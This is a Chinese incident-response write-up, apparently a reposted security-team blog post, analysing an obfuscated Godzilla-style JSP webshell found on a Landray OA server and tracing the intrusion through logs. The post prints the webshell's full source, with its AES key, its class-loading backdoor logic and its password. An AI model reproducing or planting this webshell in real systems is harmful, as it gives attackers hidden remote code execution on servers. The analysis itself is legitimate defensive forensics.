一次蓝凌OA应急响应的小记

admin 2022年12月1日11:29:00评论193 views字数 2484阅读8分16秒阅读模式

微信公众号:渊龙Sec安全团队
为国之安全而奋斗,为信息安全而发声!
如有问题或建议,请在公众号后台留言
如果你觉得本文对你有帮助,欢迎在文章底部赞赏我们

1# 起因

由于团队成员在服务器部署的蓝凌OA上,发现了一个免杀的JSP后门,既然居家隔离中没事干,就想着跟着一起分析一下

一次蓝凌OA应急响应的小记

看了一眼,应该是哥斯拉生成的后门,但是用了些混淆代码做了免杀处理

 1<%! String xc = "3c6e0b8a9c15224a";
2
3    class X extends u0043u006cu0061u0073u0073u004cu006fu0061u0064u0065u0072 {
4        public X(u0043u006cu0061u0073u0073u004cu006fu0061u0064u0065u0072 z) {
5            super(z);
6        }
7        public Class Q(byte[] cb) {
8            return super.defineClass(cb, 0, cb.length);
9        }
10    }
11
12    public byte[] x(byte[] s, boolean m) {
13
14        try {            
15            javax.crypto.Cipher c = javax.crypto.Cipher.uuuuuuuuuuuuuuuuuuuuuu0067u0065u0074u0049u006eu0073u0074u0061u006eu0063u0065("AES");
16            c.init(m ? 1 : 2new javax.crypto.spec.SecretKeySpec(xc.getBytes(), "AES"));
17            return c.uuuuuuuuuuuuuuuuuu0064u006fu0046u0069u006eu0061u006c(s);
18        } catch (Exception e) {
19            return null;
20        }
21    }
22%><%
23    try {
24        byte[] data = new byte[Integer.parseInt(request.getHeader("Content-Length"))];
25        java.io.InputStream inputStream = request.getInputStream();
26        int _num = 0;
27        while ((_num += inputStream.read(data, _num, data.length)) < data.length) ;
28        data = x(data, false);
29        if (session.getAttribute("payload") == null) {
30            session.setAttribute("payload"new X(this.getClass().getuuuuuuuuuuuuuuuuuuuuuuuuuuuuuu0043u006cu0061u0073u0073u004cu006fu0061u0064u0065u0072()).Q(data));
31        } else {
32            request.setAttribute("parameters", data);
33            Object f = ((Class) session.getAttribute("payload")).newInstance();
34            java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream();
35            f.equals(arrOut);
36            f.equals(pageContext);
37            f.toString();
38            response.getOutputStream().write(x(arrOut.toByteArray(), true));
39        }
40    } catch (Exception e) {
41    }
42%>

通过JSP代码逻辑分析出了后门密码:getInstance

2# 溯源

2.1# 溯源流程

1.
2.
3.
4.IP
5.
6.

通过发来的文件夹截图,可以确定入侵的时间

一次蓝凌OA应急响应的小记

可以确定入侵的时间为2022年9月13日-14日

2.2# 日志分析

接下来去查看一下态势感知的日志

一次蓝凌OA应急响应的小记

查找当时日志,或者前后一天内的日志,发现关键文件login_SRC.jsp


经过分析,我发现:

  • 接下来通过Fofa语法确定其他资产 login_SRC.jsp 为攻击者留下的后门

  • 攻击者应该使用批量脚本获取Webshell

  • Fofa查询的大量资产都被攻击过


接下来,应该查看攻击日志中的流量细节:

一次蓝凌OA应急响应的小记

通过该日志信息得知:该攻击者利用蓝凌OA的历史漏洞进行攻击

攻击Payload为蓝凌任意代码执行漏洞(还以为是0day,结果不是),那就没有分析的必要了(这个漏洞公开的分析文章挺多的)

3# 总结

  • 溯源工作内容就是不停查日志,只要细心总能找到破绽

  • 不知防 焉知攻:只有知道如何防守,才能更好的进攻

原文始发于微信公众号(渊龙Sec安全团队):一次蓝凌OA应急响应的小记

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年12月1日11:29:00
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   一次蓝凌OA应急响应的小记https://cn-sec.com/archives/1436615.html

发表评论

匿名网友 填写信息